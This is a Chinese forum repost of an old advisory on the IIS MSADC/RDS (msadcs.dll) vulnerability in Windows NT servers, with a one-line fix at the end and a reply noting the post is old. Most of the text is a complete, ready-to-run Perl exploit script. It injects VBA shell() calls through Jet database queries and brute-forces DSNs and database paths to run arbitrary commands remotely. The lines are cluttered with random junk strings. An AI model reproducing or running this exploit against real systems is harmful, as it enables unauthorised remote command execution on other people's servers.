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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) c^}y9% 4c  
'*J+mZtN  
涉及程序: 7;jD>wp 9D  
Microsoft NT server "O34 E?ql.  
\|=6<ZY:  
描述: oe<i\uX8z  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 u\\t~<8  
Hw \of  
详细: $/wm k7T  
如果你没有时间读详细内容的话,就删除: e]4$H.dP  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 2<D| {  
有关的安全问题就没有了。 X^\D"fmE.  
3^8Cc(bk  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 adLL7  
z33UER"  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 CG1MT(V7?  
关于利用ODBC远程漏洞的描述,请参看: =%<=Bn  
hGtz[u#p  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm PR8nJts W5  
Xf u0d1b  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Q-7?'\h  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp z; GQnAG@  
g=Z52y`N<  
这里不再论述。 25>R^2,LiE  
* %D_\0;  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: %"WENa/t  
ifD WN*k6  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset nPyn~3  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! I~4z%UG  
2e_ Di(us  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" JK$3qUDnI  
u)oAQ<w  
#!perl J!:BCjRdw  
#  ?eS;Yc  
# MSADC/RDS 'usage' (aka exploit) script YBt=8`r  
# 64B.7S88  
# by rain.forest.puppy <>HtXn/  
# x^ `/&+m  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me VYG@_fd!x  
# beta test and find errors! <6UXk[y  
PUR,r%K`  
use Socket; use Getopt::Std; uu6 JZp  
getopts("e:vd:h:XR", \%args); |  0  
}UPC~kC+Z  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; t^01@ejM+  
3](hMk,}  
if (!defined $args{h} && !defined $args{R}) { /.]u%;%r[  
print qq~  2%@tnk|@  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ajSB3}PN  
-h <host> = host you want to scan (ip or domain) M@[W"f Wq  
-d <seconds> = delay between calls, default 1 second 6KddHyFz  
-X = dump Index Server path table, if available Ci`o;KVj  
-v = verbose DNGyEC  
-e = external dictionary file for step 5 O#)1 zD}  
AjK5x@\  
Or a -R will resume a command session KA2>[x2  
8pnD6Lp>  
~; exit;} *w0!C:mL&  
+[76_EXy  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ]IV{;{E)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} x}/jh  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} JSL&` `  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); }#ink4dK:  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} t3)6R(JC  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } lOm01&^"E  
H_&to3b(  
if (!defined $args{R}){ $ret = &has_msadc; MG?,,8sO  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} m)A:w.o  
;@Zuet  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" gTj,I=3$?e  
. "cmd /c "; ,p|Q/M^  
$in=<STDIN>; chomp $in; yrxX[Hg?@  
$command="cmd /c " . $in ; Lm[,^k  
M-@RgWvF  
if (defined $args{R}) {&load; exit;} ZID-~ 6  
2Qe&FeT  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; A4zI1QF  
&try_btcustmr; M'%4BOpI6`  
W&hW N9iR  
print "\nStep 2: Trying to make our own DSN..."; m7^f%<l  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; , 5W7a  
8?Rp2n*o  
print "\nStep 3: Trying known DSNs..."; v]EMJm6d|  
&known_dsn; 7Fj8Mp|  
Y_CYx  
print "\nStep 4: Trying known .mdbs..."; f1vD{M ;  
&known_mdb; d*8*9CpO:  
iq' PeVo  
if (defined $args{e}){ k]p|kutQCy  
print "\nStep 5: Trying dictionary of DSN names..."; jSjC43lh  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 0/v]YK.  
t?"(Zb  
print "Sorry Charley...maybe next time?\n"; J%?5d:iN+  
exit; d5^^h<'  
ei-\t qY_  
############################################################################## !q&Td  
,:mL\ZED  
sub sendraw { # ripped and modded from whisker `,}7LfY  
sleep($delay); # it's a DoS on the server! At least on mine... ^BA I/WP  
my ($pstr)=@_; Lg<h54X  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || # scZP  
die("Socket problems\n"); Ph yIea  
if(connect(S,pack "SnA4x8",2,80,$target)){ Gwk$<6E  
select(S); $|=1; ,8r?C!m]  
print $pstr; my @in=<S>; Jg$<2CR&  
select(STDOUT); close(S); LDQ,SS,  
return @in; V/#Ra  
} else { die("Can't connect...\n"); }} '8]p]#l  
a,w|r#x]  
############################################################################## ;`oK5  
fg LY{  
sub make_header { # make the HTTP request M P8Sd1_=  
my $msadc=<<EOT Hs)Cf)8u  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 e,|gr"$/  
User-Agent: ACTIVEDATA /3M8 ;>@u  
Host: $ip 5n?P}kca)  
Content-Length: $clen 4x6n,:;  
Connection: Keep-Alive *QQeK# $s  
/0}Z>i K  
ADCClientVersion:01.06 Y#}qXXZ>]  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 6J>AU  
4'z)J1M  
--!ADM!ROX!YOUR!WORLD! V8/4:Va7 s  
Content-Type: application/x-varg SMrfEmdH+  
Content-Length: $reqlen z% bH?1^o  
jJIP $  
EOT N# }A9t  
; $msadc=~s/\n/\r\n/g; v,iZnANZ&P  
return $msadc;} 8?iI;(  
@ eJ8wf]  
############################################################################## a,Pw2Gcid  
H$Kc~#=  
sub make_req { # make the RDS request JlYZ\  
my ($switch, $p1, $p2)=@_; @<P2di  
my $req=""; my $t1, $t2, $query, $dsn; n~UI 47  
wH?)ZL  
if ($switch==1){ # this is the btcustmr.mdb query + ,Krq 3P  
$query="Select * from Customers where City=" . make_shell(); l/={aF7+  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . D^4nT,&8  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Oa/zE H  
P<IDb%W  
elsif ($switch==2){ # this is general make table query Bf*>q*%B{  
$query="create table AZZ (B int, C varchar(10))"; lWYp  
$dsn="$p1";} F q~uuQ  
o MJ `_  
elsif ($switch==3){ # this is general exploit table query eyK xnBz  
$query="select * from AZZ where C=" . make_shell(); X.>=&~[  
$dsn="$p1";} X7!q/1$J  
HThZ4Kg+  
elsif ($switch==4){ # attempt to hork file info from index server w W\[#Ku  
$query="select path from scope()"; Zp)=l Td  
$dsn="Provider=MSIDXS;";} $w*L' <  
4|K\pCw  
elsif ($switch==5){ # bad query UF7h{V})  
$query="select"; f|,Kh1{e  
$dsn="$p1";} {_N9<i{T  
wPM&N@Pf  
$t1= make_unicode($query); s)- ;74(  
$t2= make_unicode($dsn); wj6u,+  
$req = "\x02\x00\x03\x00"; Hk*1Wrs*  
$req.= "\x08\x00" . pack ("S1", length($t1)); e' M&Eh  
$req.= "\x00\x00" . $t1 ; Imv#7{ndq  
$req.= "\x08\x00" . pack ("S1", length($t2)); @$jV"Y  
$req.= "\x00\x00" . $t2 ; l$&~(YE f  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Os<E7l zqO  
return $req;} F6}RPk\=i  
t~(jA9n  
############################################################################## p=:Vpg<!  
ZGZNZ}~#  
sub make_shell { # this makes the shell() statement n1PptR  
return "'|shell(\"$command\")|'";} }sH[_%)  
N[@H107`  
############################################################################## DURWE,W>  
8GP17j  
sub make_unicode { # quick little function to convert to unicode $~1vXe  
my ($in)=@_; my $out; @[lMh9`  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Bh&pZcm|  
return $out;} dCi:@+z8  
dJgLS^1E  
############################################################################## ;~<To9O  
KFbB}oId  
sub rdo_success { # checks for RDO return success (this is kludge) 3'.@aMA@  
my (@in) = @_; my $base=content_start(@in); bVUIeX'  
if($in[$base]=~/multipart\/mixed/){ n/skDx TE  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} #B5,k|"/,M  
return 0;} s21} a,eB  
67iI wY*8'  
############################################################################## !Q[v"6?  
y2I7Zd .  
sub make_dsn { # this makes a DSN for us rD=D.1_   
my @drives=("c","d","e","f"); -g~+9/;n  
print "\nMaking DSN: "; Nhs!_-_I  
foreach $drive (@drives) { 0 cycnOd  
print "$drive: "; m}'_Poc  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . XX/gS=NE#.  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" \Sd8PGl*'  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); H<Sf0>OA  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; (1'DZ xJ&u  
return 0 if $2 eq "404"; # not found/doesn't exist i"G'#n~e  
if($2 eq "200") { ?z1v_Jh  
foreach $line (@results) { Oin9lg-jR  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} (j'\h/  
} return 0;} r""rJzFz'  
3Cj)upc  
############################################################################## I&+.IK_  
w&?XsO@0W  
sub verify_exists { nW)+-Wxq  
my ($page)=@_; /i"hViCrlG  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 1*8;)#%&  
return $results[0];} 6=;:[  
$/M-@3wro  
############################################################################## Z i6s0Uck  
V8/d27\  
sub try_btcustmr { -US:a8`  
my @drives=("c","d","e","f"); zz*PAYl.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [8 Pt$5]^  
:dt[ #  
foreach $dir (@dirs) { _<c"/B  
print "$dir -> "; # fun status so you can see progress ARu_S B  
foreach $drive (@drives) { s-IE}I?;  
print "$drive: "; # ditto B!/kC)bF:  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; =R=V  
$reqlenlen=length( "$reqlen" );  _BP%@o  
$clen= 206 + $reqlenlen + $reqlen; ^f,4=-  
!Axe}RD'  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); !}!KT(% %  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ~3:VM_  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} D 5rH6*J  
i%9vZ  
############################################################################## m~&  
<'4Wne.z!  
sub odbc_error { D;!sH?J@+  
my (@in)=@_; my $base; `Xos]L'w  
my $base = content_start(@in); dq '2y  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 9}6_B|  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; mEJ7e#  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]pvHsiI:  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; MZz9R*_VS  
return $in[$base+4].$in[$base+5].$in[$base+6];} P7-k!p"  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; H=BI%Z  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . s^zlBvr|.  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} I#MPJ@*WT  
fo,0NxF9  
############################################################################## 9Q1%+zjjMq  
QDn_`c  
sub verbose { J,Ki2'=  
my ($in)=@_; Z)|~  
return if !$verbose; TAUl{??,  
print STDOUT "\n$in\n";} "zq'nV=  
- jZAvb  
############################################################################## :XY%@n  
PaSwfjOnqr  
sub save { MQP9^+f)O?  
my ($p1, $p2, $p3, $p4)=@_; R%3yxnM*  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Z@euO~e~  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 'b.jKkW7  
close OUT;} ]ePg6  
wK2$hsque  
############################################################################## QT+kCN  
US)i"l7:H*  
sub load { us.[wp'Sh  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; C[,h!  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); @S3L%lOH  
@p=<IN>; close(IN); ) ' xyK  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); *R+M#l9D`  
$target= inet_aton($ip) || die("inet_aton problems"); 1< vJuF^  
print "Resuming to $ip ..."; wxHd^b  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; X.#*+k3s0  
if($p[1]==1) { !ldEy#"X  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 2;sTSGDG  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; uM$b/3%s  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); M<Bo<,!ua  
if (rdo_success(@results)){print "Success!\n";} r#WqXh_uk  
else { print "failed\n"; verbose(odbc_error(@results));}} P1OYS\  
elsif ($p[1]==3){ er_6PV  
if(run_query("$p[3]")){ \Yj_U'2"i  
print "Success!\n";} else { print "failed\n"; }} )$p36dWl  
elsif ($p[1]==4){ n}Z%-w$K#  
if(run_query($drvst . "$p[3]")){ 0dwD ?GG2  
print "Success!\n"; } else { print "failed\n"; }} K_+M?ap_  
exit;} <,DMD  
t? &;   
############################################################################## aO$0[-A  
7a_8007$l  
sub create_table { 9%kO%j,3  
my ($in)=@_; <&[`  +  
$reqlen=length( make_req(2,$in,"") ) - 28; #*:1Ch]B  
$reqlenlen=length( "$reqlen" ); <q'?[aKvR  
$clen= 206 + $reqlenlen + $reqlen;  zr ez*  
my @results=sendraw(make_header() . make_req(2,$in,"")); ;L:UYhDbUx  
return 1 if rdo_success(@results); oTvg%bX  
my $temp= odbc_error(@results); verbose($temp); z@UH[>^gj  
return 1 if $temp=~/Table 'AZZ' already exists/; @wD#+Oz  
return 0;} O)^F z:  
kR1 12J9P  
############################################################################## ]foS.D,  
,sj(g/hg  
sub known_dsn { ?6*\  M  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go `%|3c  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 1?)h-aN  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", %ly&~&0  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); bo/U5p  
R}(Rv3>Xx  
foreach $dSn (@dsns) { u L v  
print "."; ,r3`u2)  
next if (!is_access("DSN=$dSn")); EQoK\.; G~  
if(create_table("DSN=$dSn")){ I.t)sf,  
print "$dSn successful\n"; DBy%"/c  
if(run_query("DSN=$dSn")){ ,MHK|8!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1WaQWZ:=  
print "Something's borked. Use verbose next time\n";}}} print "\n";} dgQ<>+9]6  
@RB^m(> 5  
############################################################################## !gyW15z'  
'~yxu$aK  
sub is_access { O\q6T7bfRW  
my ($in)=@_; !*DY dqQ/  
$reqlen=length( make_req(5,$in,"") ) - 28; M.SF}U  
$reqlenlen=length( "$reqlen" ); WTD86A  
$clen= 206 + $reqlenlen + $reqlen; .`KzA]&#  
my @results=sendraw(make_header() . make_req(5,$in,"")); \|vo@E  
my $temp= odbc_error(@results); p}~Sgi  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ymrnu-p o  
return 0;} ,4,Bc<  
F'wG%  
############################################################################## 9[~.{{Y  
DQ$m@_/4w  
sub run_query { l^tRy_T:-  
my ($in)=@_; Z[ !kEW  
$reqlen=length( make_req(3,$in,"") ) - 28; bOYM-\ {y  
$reqlenlen=length( "$reqlen" ); dM}c-=w`  
$clen= 206 + $reqlenlen + $reqlen; u=PLjrB~}  
my @results=sendraw(make_header() . make_req(3,$in,"")); L8E4|F}  
return 1 if rdo_success(@results); >`WQxkpy  
my $temp= odbc_error(@results); verbose($temp); - ]/=WAOK  
return 0;} wtL=^  
Z1$ S(p=)L  
############################################################################## &n?RKcH}d  
Cw!tB1D  
sub known_mdb { "KCG']DF  
my @drives=("c","d","e","f","g"); I=Y_EjZ D  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 7<:o4\q?m  
my $dir, $drive, $mdb; |U'`Sc  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; xA;)02   
modem6#x'  
# this is sparse, because I don't know of many ',Z]w;D!G  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Z @DDuVr  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 5l,Lp'k  
"\\system32\\certmdb.mdb", wKcuIc$  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% {Gh9(0,B?  
CE (zt  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", +u |SX/C  
"\\cfusion\\cfapps\\forums\\forums_.mdb", lP4s"8E`h  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", mDt!b6N/  
"\\cfusion\\cfapps\\security\\realm_.mdb", rw 2i_,.*~  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 3:w_49~: ~  
"\\cfusion\\database\\cfexamples.mdb", /&qE,>hd.+  
"\\cfusion\\database\\cfsnippets.mdb", O|Y`:xvc  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", h8k\~/iJ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", p")"t`k7  
"\\cfusion\\brighttiger\\database\\cleam.mdb", zk@s#_3ct  
"\\cfusion\\database\\smpolicy.mdb", < h|&7  
"\\cfusion\\database\cypress.mdb", Q`O~f<a  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ^VnnYtCRz  
"\\website\\cgi-win\\dbsample.mdb", 0e:j=kd)NH  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", @5 ??`n  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _9=cxwi<w  
); #these are just klc$n07  
foreach $drive (@drives) { J}bLp Z  
foreach $dir (@dirs){ :"nh76xg<  
foreach $mdb (@sysmdbs) { 5)rN#_BKj  
print "."; Fo0s<YlS-  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 2H] 7=j  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; /nh3/[u  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ZBH^0  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; M4 }))  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1'\s7P  
-) +B!"1  
foreach $drive (@drives) { }t|i1{%_  
foreach $mdb (@mdbs) { BNO+-ob-  
print "."; X-CoC   
if(create_table($drv . $drive . $dir . $mdb)){ |NTqJ j  
print "\n" . $drive . $dir . $mdb . " successful\n"; WXf[W  
if(run_query($drv . $drive . $dir . $mdb)){ LF{8hC[  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; m}beT~FT_  
} else { print "Something's borked. Use verbose next time\n"; }}}} %n,_^voE  
} DHvZ:)aT}  
A&jR-%JG  
############################################################################## %Yg|QBm|  
_Wp.s]D [  
sub hork_idx { " w /Odd  
print "\nAttempting to dump Index Server tables...\n"; {g4w[F!77  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; y\:Ma7V  
$reqlen=length( make_req(4,"","") ) - 28; ^FTS'/Q  
$reqlenlen=length( "$reqlen" ); X #$l7I9H  
$clen= 206 + $reqlenlen + $reqlen; Qip@L WvT  
my @results=sendraw2(make_header() . make_req(4,"","")); #g2&x sU  
if (rdo_success(@results)){ XrXW6s ;Z  
my $max=@results; my $c; my %d; |v#rSVx  
for($c=19; $c<$max; $c++){ gTLBR  
$results[$c]=~s/\x00//g; o>]z~^c  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; m*lcIa  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; yI-EF)A@;  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; #B!M,TWf9s  
$d{"$1$2"}="";} k2#|^N  
foreach $c (keys %d){ print "$c\n"; } wT,=C'  
} else {print "Index server doesn't seem to be installed.\n"; }} va"bw!zXo*  
9@nd>B  
############################################################################## *vqUOh  
^8dCFw.rU  
sub dsn_dict { ]1[:fQF7/L  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); .E7"Lfs-  
while(<IN>){ alsD TQ'  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 4`o<e)c3  
next if (!is_access("DSN=$dSn")); \0e`sOS`L  
if(create_table("DSN=$dSn")){ {=U*!`D  
print "$dSn successful\n"; ~g@}A  
if(run_query("DSN=$dSn")){ M[u6+`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ]$-<< N{}'  
print "Something's borked. Use verbose next time\n";}}} =<K6gC27  
print "\n"; close(IN);} 9pWSvalw9  
*dC&*6Rx  
############################################################################## 6y^GMlsI  
{lppv(U  
sub sendraw2 { # ripped and modded from whisker U+[ "b-c  
sleep($delay); # it's a DoS on the server! At least on mine... m !i`|]m  
my ($pstr)=@_; 6 =G=4{q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || s+=':Gcb(C  
die("Socket problems\n"); f)r6F JLU  
if(connect(S,pack "SnA4x8",2,80,$target)){ H%}/O;C  
print "Connected. Getting data"; |tse"A5Z  
open(OUT,">raw.out"); my @in; rrphOG  
select(S); $|=1; print $pstr; LEX @hkh  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} f'M([gn^_  
close(OUT); select(STDOUT); close(S); return @in; fILvEf4b  
} else { die("Can't connect...\n"); }} ID{XZ  
$++O@C5  
############################################################################## L gy^^.  
{r5OtYmpR  
sub content_start { # this will take in the server headers )dJx82" l  
my (@in)=@_; my $c; cVr+Wp7K#|  
for ($c=1;$c<500;$c++) { (zk/>Ou  
if($in[$c] =~/^\x0d\x0a/){ ovi^bNQ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } |goK@ <  
else { return $c+1; }}} % w  
return -1;} # it should never get here actually Fw}|c  
9}4~3_gv;M  
############################################################################## jmP;(j.|  
',rK\&lL6  
sub funky { (I35i!F+tY  
my (@in)=@_; my $error=odbc_error(@in); 47f\  
if($error=~/ADO could not find the specified provider/){ Y zmMF  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ,^DP  
exit;} B^d di  
if($error=~/A Handler is required/){ A<(DYd1H  
print "\nServer has custom handler filters (they most likely are patched)\n"; Ea-U+7JC  
exit;} GY^;$?  
if($error=~/specified Handler has denied Access/){ {.y_{yWo  
print "\nServer has custom handler filters (they most likely are patched)\n"; C46jVl   
exit;}} #~.RJ%  
Io&HzQW^a  
############################################################################## '6*9pG-  
7;&,L H  
sub has_msadc { Sn' +~6i  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); L1y71+iqU  
my $base=content_start(@results); Vobq|Rd/%  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); .;l`VWP  
return 0;} o)R<sT  
G!h75G20  
######################## /?Mr2!3N  
Y hC|hDC  
l@-h.tS  
解决方案: (=EDqAZg  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll >vO+k^'Y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 PrA(==FX/  
0'YJczDq:7  
拿出来充数 哈哈
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